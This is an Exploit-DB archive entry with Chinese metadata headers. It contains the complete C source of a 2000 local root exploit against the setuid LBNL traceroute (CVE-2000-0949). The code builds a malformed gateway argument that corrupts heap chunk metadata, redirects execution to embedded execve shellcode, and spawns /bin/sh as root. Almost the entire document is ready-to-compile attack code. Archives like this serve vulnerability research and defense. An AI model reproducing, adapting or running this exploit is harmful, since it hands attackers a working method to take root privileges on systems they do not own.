标题: LBL Traceroute - Local Privilege Escalation EDB-ID: 178 CVE: 2000-0949 类型: LOCAL 平台: LINUX 发布日期: 2000-11-15 漏洞利用脚本: /*
 * MasterSecuritY <www.mastersecurity.fr>
 *
 * openwall.c - Local root exploit in LBNL traceroute
 * Copyright (C) 2000  Michel "MaXX" Kaempf <maxx@mastersecurity.fr>
 *
 * Updated versions of this exploit and the corresponding advisory will
 * be made available at:
 *
 * ftp://maxx.via.ecp.fr/traceroot/
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define PREV_INUSE 0x1
#define IS_MMAPPED 0x2

char *  filename = "/usr/sbin/traceroute";
unsigned int stack = 0xc0000000 - 4;
unsigned int p = 0x0804ce38;
unsigned int victim = 0x0804c88c;

char * jmp = "\xeb\x0aXXYYYYZZZZ";

char * shellcode =
 /* <shellcode>:  xor %edx,%edx */
 "\x31\xd2"
 /* <shellcode+2>: mov %edx,%eax */
 "\x89\xd0"
 /* <shellcode+4>: mov $0xb,%al */
 "\xb0\x0b"
 /* <shellcode+6>: mov $XXXX,%ebx */
 "\xbbXXXX"
 /* <shellcode+11>: mov $XXXX,%ecx */
 "\xb9XXXX"
 /* <shellcode+16>: mov %ebx,(%ecx) */
 "\x89\x19"
 /* <shellcode+18>: mov %edx,0x4(%ecx) */
 "\x89\x51\x04"
 /* <shellcode+21>: int $0x80  */
 "\xcd\x80";

char * program = "/bin/sh";

int zero( unsigned int ui )
{
 if ( !(ui & 0xff000000) || !(ui & 0x00ff0000) || !(ui & 0x0000ff00) || !(ui & 0x000000ff) ) {
  return( -1 );
 }
 return( 0 );
}

int main()
{
 char  gateway[ 1337 ];
 char  host[ 1337 ];
 char *  argv[] = { filename, "-g", "123", "-g", gateway, host, NULL };
 unsigned int next;
 int  i;
 unsigned int hellcode;
 unsigned int size;

 strcpy( host, "AAAABBBBCCCCDDDDEEEE" );
 next = stack - (strlen(filename) + 1) - (strlen(host) + 1) + strlen("AAAA");
 for ( i = 0; i < next - (next & ~3); i++ ) {
  strcat( host, "X" );
 }
 next = next & ~3;

 ((unsigned int *)host)[1] = 0xffffffff & ~PREV_INUSE;
 ((unsigned int *)host)[2] = 0xffffffff;
 if ( zero( victim - 12 ) ) {
  fprintf( stderr, "Null byte(s) in `victim - 12' (0x%08x)!\n", victim - 12 );
  return( -1 );
 }
 ((unsigned int *)host)[3] = victim - 12;
 hellcode = p + (strlen("123") + 1) + strlen("0x42.0x42.0x42.0x42") + strlen(" ");
 if ( zero( hellcode ) ) {
  fprintf( stderr, "Null byte(s) in `host' (0x%08x)!\n", hellcode );
  return( -1 );
 }
 ((unsigned int *)host)[4] = hellcode;

 size = next - (p - 4);
 size = size | PREV_INUSE;
 sprintf(
  gateway,
  "0x%02x.0x%02x.0x%02x.0x%02x",
  ((unsigned char *)(&size))[0],
  ((unsigned char *)(&size))[1],
  ((unsigned char *)(&size))[2],
  ((unsigned char *)(&size))[3]
 );

 strcat( gateway, " " );
 strcat( gateway, jmp );
 strcat( gateway, shellcode );
 strcat( gateway, program );

 hellcode += strlen(jmp) + strlen(shellcode);
 if ( zero( hellcode ) ) {
  fprintf( stderr, "Null byte(s) in `gateway' (0x%08x)!\n", hellcode );
  return( -1 );
 }
 *((unsigned int *)(gateway + strlen("0x42.0x42.0x42.0x42") + strlen(" ") + strlen(jmp) + 7)) = hellcode;

 hellcode += strlen(program) + 1;
 if ( zero( hellcode ) ) {
  fprintf( stderr, "Null byte(s) in `gateway' (0x%08x)!\n", hellcode );
  return( -1 );
 }
 *((unsigned int *)(gateway + strlen("0x42.0x42.0x42.0x42") + strlen(" ") + strlen(jmp) + 12)) = hellcode;

 execve( argv[0], argv, NULL );
 return( -1 );
}



// milw0rm.com [2000-11-15] URL: https://www.exploit-db.com/exploits/178